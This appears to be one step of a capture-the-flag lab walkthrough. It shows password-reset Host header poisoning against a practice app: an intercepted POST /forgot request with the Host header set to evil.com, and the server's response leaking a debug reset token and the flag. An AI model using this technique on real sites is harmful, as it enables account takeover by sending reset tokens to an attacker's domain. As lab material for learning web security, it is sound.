Request a fresh reset for admin. Intercept in Burp and change the Host header to evil.com. The server builds the reset link using the Host header — a debug endpoint reveals the generated token.
Command / Input
POST /forgot
Host: evil.com
{"email":"admin@chirper.com"}
Output
{"message":"Reset link sent","debug_token":"abc123xyz","flag":"HackrGG{p4ssw0rd_r3s3t_h0st_h34d3r_p01s0n}"}
⚑ In production the token goes to the poisoned domain. Here the debug mode reveals it directly.